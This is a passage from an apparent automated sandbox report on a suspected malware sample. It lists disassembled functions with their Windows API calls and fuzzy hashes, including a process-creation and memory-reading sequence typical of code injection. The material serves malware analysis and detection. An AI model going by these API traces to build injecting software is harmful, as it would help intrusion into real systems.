                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: IconNotifyShell_$_memset
                                                • String ID:
                                                • API String ID: 1505330794-0
                                                • Opcode ID: 06e5e00596ae02eb125cdc375eb5a305d74a7ac936dfbb47536f55d7f9d4a6a8
                                                • Instruction ID: c1ffed56e8b7c18974b07b03f44c0e70475ca3658616a2db319c31a96b4d42f0
                                                • Opcode Fuzzy Hash: 06e5e00596ae02eb125cdc375eb5a305d74a7ac936dfbb47536f55d7f9d4a6a8
                                                • Instruction Fuzzy Hash: 433193B05047019FD720EF65D88479BBBF8FB4A304F04092EF59A93250E7B1A948CB66
                                                Function 00DA594C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • __FF_MSGBANNER.LIBCMT ref: 00DA5963
                                                  • Part of subcall function 00DAA3AB: __NMSG_WRITE.LIBCMT ref: 00DAA3D2
                                                  • Part of subcall function 00DAA3AB: __NMSG_WRITE.LIBCMT ref: 00DAA3DC
                                                • __NMSG_WRITE.LIBCMT ref: 00DA596A
                                                  • Part of subcall function 00DAA408: GetModuleFileNameW.KERNEL32(00000000,00E443BA,00000104,?,00000001,00000000), ref: 00DAA49A
                                                  • Part of subcall function 00DAA408: ___crtMessageBoxW.LIBCMT ref: 00DAA548
                                                  • Part of subcall function 00DA32DF: ___crtCorExitProcess.LIBCMT ref: 00DA32E5
                                                  • Part of subcall function 00DA32DF: ExitProcess.KERNEL32 ref: 00DA32EE
                                                  • Part of subcall function 00DA8D68: __getptd_noexit.LIBCMT ref: 00DA8D68
                                                • RtlAllocateHeap.NTDLL(01930000,00000000,00000001,00000000,?,?,?,00DA1013,?), ref: 00DA598F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
                                                • String ID:
                                                • API String ID: 1372826849-0
                                                • Opcode ID: 3d2e423ae1580455835248b677510b53003f961f88b56fd8d225abee310daa58
                                                • Instruction ID: 01a9ac8fea75d46a4d9af31022749ec1be02b2f134eda7092e666420db38761a
                                                • Opcode Fuzzy Hash: 3d2e423ae1580455835248b677510b53003f961f88b56fd8d225abee310daa58
                                                • Instruction Fuzzy Hash: EF01DE36301B12EEEA217B69F842B6F7299CF43770F14012AF901AE1D2DBB09D019B74
                                                Function 00DE9B2C Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00DE97D2,?,?,?,?,?,00000004), ref: 00DE9B45
                                                • SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00DE97D2,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 00DE9B5B
                                                • CloseHandle.KERNEL32(00000000,?,00DE97D2,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00DE9B62
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: File$CloseCreateHandleTime
                                                • String ID:
                                                • API String ID: 3397143404-0
                                                • Opcode ID: d7fc6adc818d9f8bb71ea76e779528a5a060b85110fc638c29a7d6d35a6c1fd7
                                                • Instruction ID: 164f0a2d7f66dbe40577a6b4536a40a59ee7b2d9863cfe92e966ea4b67dd2985
                                                • Opcode Fuzzy Hash: d7fc6adc818d9f8bb71ea76e779528a5a060b85110fc638c29a7d6d35a6c1fd7
                                                • Instruction Fuzzy Hash: 92E08632181314BBD7312B55EC09FCA7B18AB05B71F144220FB54790E187B225659798
                                                Function 00DE8F97 Relevance: 4.5, APIs: 3, Instructions: 22COMMON
                                                Download Yara Rule
                                                APIs
                                                • _free.LIBCMT ref: 00DE8FA5
                                                  • Part of subcall function 00DA2F95: RtlFreeHeap.NTDLL(00000000,00000000,?,00DA9C64), ref: 00DA2FA9
                                                  • Part of subcall function 00DA2F95: GetLastError.KERNEL32(00000000,?,00DA9C64), ref: 00DA2FBB
                                                • _free.LIBCMT ref: 00DE8FB6
                                                • _free.LIBCMT ref: 00DE8FC8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _free$ErrorFreeHeapLast
                                                • String ID:
                                                • API String ID: 776569668-0
                                                • Opcode ID: 358057a8cee776a4634d1da6a11f7167cf7af4a4bc472a0de26b354d0d310ced
                                                • Instruction ID: 67ea251c55f438e19ae670255e78cc06faaccd19a394bdd063a1fa6ee26d3bc2
                                                • Opcode Fuzzy Hash: 358057a8cee776a4634d1da6a11f7167cf7af4a4bc472a0de26b354d0d310ced
                                                • Instruction Fuzzy Hash: A4E017A1709B414ECA24B67FAD40AA367EE9F89360B1C081EB90DDB182DE24E8419138
                                                Function 00D8AB23 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: CALL
                                                • API String ID: 0-4196123274
                                                • Opcode ID: b6ce6903cb714454c7ea9b203deed51ac524aa76b228a7f4dcbc8cbc3ce89ae7
                                                • Instruction ID: 464e11d3e5ade94cd9ba58b0b4feca1ec0886cf7876c7f61a4ea3e51e7fe6cf0
                                                • Opcode Fuzzy Hash: b6ce6903cb714454c7ea9b203deed51ac524aa76b228a7f4dcbc8cbc3ce89ae7
                                                • Instruction Fuzzy Hash: 1C223874508341DFD724EF18C495B2ABBE1FF85310F19895EE8968B262D731EC85CBA2
                                                Function 00D8492E Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                                Download Yara Rule
                                                APIs
                                                • IsThemeActive.UXTHEME ref: 00D84992
                                                  • Part of subcall function 00DA35AC: __lock.LIBCMT ref: 00DA35B2
                                                  • Part of subcall function 00DA35AC: DecodePointer.KERNEL32(00000001,?,00D849A7,00DD81BC), ref: 00DA35BE
                                                  • Part of subcall function 00DA35AC: EncodePointer.KERNEL32(?,?,00D849A7,00DD81BC), ref: 00DA35C9
                                                  • Part of subcall function 00D84A5B: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00D84A73
                                                  • Part of subcall function 00D84A5B: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00D84A88
                                                  • Part of subcall function 00D83B4C: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00D83B7A
                                                  • Part of subcall function 00D83B4C: IsDebuggerPresent.KERNEL32 ref: 00D83B8C
                                                  • Part of subcall function 00D83B4C: GetFullPathNameW.KERNEL32(00007FFF,?,?,00E462F8,00E462E0,?,?), ref: 00D83BFD
                                                  • Part of subcall function 00D83B4C: SetCurrentDirectoryW.KERNEL32(?), ref: 00D83C81
                                                • SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00D849D2
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
                                                • String ID:
                                                • API String ID: 1438897964-0
                                                • Opcode ID: 29cf579535ddf4444df481fd6027daf36300158395890a43c4e57dc5a2bd3e01
                                                • Instruction ID: be0ef5a4d397173f08421f933eea6129daff1d44711db09424f5a2d5945bf86e
                                                • Opcode Fuzzy Hash: 29cf579535ddf4444df481fd6027daf36300158395890a43c4e57dc5a2bd3e01
                                                • Instruction Fuzzy Hash: 7B11CD71918301AFC300EF6AEC4591AFBE8EF96710F00451EF095A72B1DBB0954ACBA6
                                                Function 00D85DF9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000,?,00D85981,?,?,?,?), ref: 00D85E27
                                                • CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,00000000,?,00D85981,?,?,?,?), ref: 00DBE19C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CreateFile
                                                • String ID:
                                                • API String ID: 823142352-0
                                                • Opcode ID: 74c363dd5a839cd0e79fbf208e93541acc8f6b5c73d894e1f0efa07e8a98c644
                                                • Instruction ID: 325007596609d60f56a8ceb35106efebcbe2e5bd0c6300907d92be2743071bd9
                                                • Opcode Fuzzy Hash: 74c363dd5a839cd0e79fbf208e93541acc8f6b5c73d894e1f0efa07e8a98c644
                                                • Instruction Fuzzy Hash: 8101B970244708BEF7255E24DC86FA6379CEB0176CF148314FAE56A1D0C6B05D498B60
                                                Function 00DA0FF6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DA594C: __FF_MSGBANNER.LIBCMT ref: 00DA5963
                                                  • Part of subcall function 00DA594C: __NMSG_WRITE.LIBCMT ref: 00DA596A
                                                  • Part of subcall function 00DA594C: RtlAllocateHeap.NTDLL(01930000,00000000,00000001,00000000,?,?,?,00DA1013,?), ref: 00DA598F
                                                • std::exception::exception.LIBCMT ref: 00DA102C
                                                • __CxxThrowException@8.LIBCMT ref: 00DA1041
                                                  • Part of subcall function 00DA87DB: RaiseException.KERNEL32(?,?,?,00E3BAF8,00000000,?,?,?,?,00DA1046,?,00E3BAF8,?,00000001), ref: 00DA8830
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
                                                • String ID:
                                                • API String ID: 3902256705-0
                                                • Opcode ID: 204b4ccb1c34701dd3880be3e8288e3d963964ba07243990da400cf10e6c66d3
                                                • Instruction ID: 4d8b933e4d6b19b8efdf3e9198e54bb1734ab162b77e1d57897d004f142089dc
                                                • Opcode Fuzzy Hash: 204b4ccb1c34701dd3880be3e8288e3d963964ba07243990da400cf10e6c66d3
                                                • Instruction Fuzzy Hash: 63F0C23950031DA6CB21BB98EC069DF7BACDF02351F24042AFD05A6592EFB18AD096F4
                                                Function 00DA582D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: __lock_file_memset
                                                • String ID:
                                                • API String ID: 26237723-0
                                                • Opcode ID: 9126d57842a712e1ca59c0c7982a7678d8259d9585333f48b401e30d9237c8de
                                                • Instruction ID: fdd0b8740f51ddd9fc589994d47d01ace529a43c2059b6a6dc24492ba7dd2c23
                                                • Opcode Fuzzy Hash: 9126d57842a712e1ca59c0c7982a7678d8259d9585333f48b401e30d9237c8de
                                                • Instruction Fuzzy Hash: 56014471C01609EBCF22AF799C0559E7B61EF42760F188215F8146A1A5DB35CA21EBB1
                                                Function 00DA55D6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DA8D68: __getptd_noexit.LIBCMT ref: 00DA8D68
                                                • __lock_file.LIBCMT ref: 00DA561B
                                                  • Part of subcall function 00DA6E4E: __lock.LIBCMT ref: 00DA6E71
                                                • __fclose_nolock.LIBCMT ref: 00DA5626
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: __fclose_nolock__getptd_noexit__lock__lock_file
                                                • String ID:
                                                • API String ID: 2800547568-0
                                                • Opcode ID: 7b747138d718a095c7d01e09cfad3d04dd22f7f160d78ff420edc02132961bd6
                                                • Instruction ID: 558d60d47172445140af96fa12cda9d26c6a18aa9e69e02d8760fc306365812f
                                                • Opcode Fuzzy Hash: 7b747138d718a095c7d01e09cfad3d04dd22f7f160d78ff420edc02132961bd6
                                                • Instruction Fuzzy Hash: 43F0B471801B059ADB20AF75A80676E77A1AF43334F5D8209E855AB1C5CF7C8A01AB75
                                                Function 00D881C1 Relevance: 2.6, APIs: 2, Instructions: 54COMMON
                                                Download Yara Rule
                                                APIs
                                                • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000001,00000000,00000000,?,?,?,00D8558F,?,?,?,?,?), ref: 00D881DA
                                                • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000001,00000000,?,?,?,00D8558F,?,?,?,?,?), ref: 00D8820D
                                                  • Part of subcall function 00D878AD: _memmove.LIBCMT ref: 00D878E9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ByteCharMultiWide$_memmove
                                                • String ID:
                                                • API String ID: 3033907384-0
                                                • Opcode ID: 2c4592f8ad22c8532d67a3c9d32b5ed2d4c2c2e0f85ef89b173d39a07eb1277e
                                                • Instruction ID: ec96b2c7bc468ff0aa7fa0f88b45639a9fe5a70f18db6a1035dd9fd2aa162fa7
                                                • Opcode Fuzzy Hash: 2c4592f8ad22c8532d67a3c9d32b5ed2d4c2c2e0f85ef89b173d39a07eb1277e
                                                • Instruction Fuzzy Hash: 4B018B35205104BEEB24AA26DD4AF7BBB6CEB8A760F10802AFD05DD191DE21D8409671
                                                Function 018C129D Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateProcessW.KERNELBASE(?,00000000), ref: 018C1A5B
                                                • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 018C1AF1
                                                • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 018C1B13
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1366037876.00000000018C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 018C0000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_18c0000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                • String ID:
                                                • API String ID: 2438371351-0
                                                • Opcode ID: c7490eb0849e98549b11c4fe0459da6d53c4872c769bbd933b9fbf1e0076ab14
                                                • Instruction ID: 4d00d8bc1b7cf3521a022a95a2e2ad0b0c70bc01c95d6ffee5519ccd62cae6a0
                                                • Opcode Fuzzy Hash: c7490eb0849e98549b11c4fe0459da6d53c4872c769bbd933b9fbf1e0076ab14
                                                • Instruction Fuzzy Hash: AF12EE20A14658C6EB24DF64D8547DEB232EF68700F1090E9D10DEB7A5E77A8F81CF5A
                                                Function 00D92123 Relevance: 1.7, APIs: 1, Instructions: 171COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: f69d57f5ed3fff875859b28ba938d62f3693d113e6b7ad9cbf0b0c05cde37049
                                                • Instruction ID: 3e37c799f41a9712bb39b702df02d54334dc54d2823af083fbb67d08108bcc09
                                                • Opcode Fuzzy Hash: f69d57f5ed3fff875859b28ba938d62f3693d113e6b7ad9cbf0b0c05cde37049
                                                • Instruction Fuzzy Hash: 44515C35600604AFCF14FB64C992FBE77A5EF85710F188168F946AB292DA30ED008B75
                                                Function 00D8766F Relevance: 1.6, APIs: 1, Instructions: 103COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _memmove
                                                • String ID:
                                                • API String ID: 4104443479-0
                                                • Opcode ID: ab6fd76627a5ae7c550f538024095d9708897891a7e1bc3d2fbdd679136dc1ef
                                                • Instruction ID: 6995dad9d0749770a3f7bfa30e4c265b5f08cda261b80b2d05d950ba8231b1f7
                                                • Opcode Fuzzy Hash: ab6fd76627a5ae7c550f538024095d9708897891a7e1bc3d2fbdd679136dc1ef
                                                • Instruction Fuzzy Hash: 38319679208A02DFC724AF19C491921F7E0FF49310B25C56DE99A8B765E730D881DB74
                                                Function 00D85C4E Relevance: 1.6, APIs: 1, Instructions: 97COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetFilePointerEx.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00000000), ref: 00D85CF6
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: FilePointer
                                                • String ID:
                                                • API String ID: 973152223-0
                                                • Opcode ID: 6c31ae073e5302fcacd98ed16b558f392b4938785e24008dcb08151e0ed14d2a
                                                • Instruction ID: b4e4fa1dd3324f766d2b4aedc002d24a4c00a5525dce61576d7bce14a8222343
                                                • Opcode Fuzzy Hash: 6c31ae073e5302fcacd98ed16b558f392b4938785e24008dcb08151e0ed14d2a
                                                • Instruction Fuzzy Hash: AA311C71A00B19EFCB18EF6DD48469DB7B5FF48310F188629D81993714D771A960DBA0
                                                Function 00DC00D6 Relevance: 1.6, APIs: 1, Instructions: 88COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ClearVariant
                                                • String ID:
                                                • API String ID: 1473721057-0
                                                • Opcode ID: 943c19eda0629f6446d7308d1d75ff1f71276f125b55265af267e7f7a96dcee3
                                                • Instruction ID: ea2a401ac751dd192b6cfcc914a7e4491acb5c439431758708fdbbe399b385a1
                                                • Opcode Fuzzy Hash: 943c19eda0629f6446d7308d1d75ff1f71276f125b55265af267e7f7a96dcee3
                                                • Instruction Fuzzy Hash: BC411574604341DFDB24DF18C484B1ABBE0BF45318F09899DE8998B762D376EC95CB62
                                                Function 00D84F3D Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D84D13: FreeLibrary.KERNEL32(00000000,?), ref: 00D84D4D
                                                  • Part of subcall function 00DA548B: __wfsopen.LIBCMT ref: 00DA5496
                                                • LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,00E462F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00D84F6F
                                                  • Part of subcall function 00D84CC8: FreeLibrary.KERNEL32(00000000), ref: 00D84D02
                                                  • Part of subcall function 00D84DD0: _memmove.LIBCMT ref: 00D84E1A
                                                Memory Dump Source
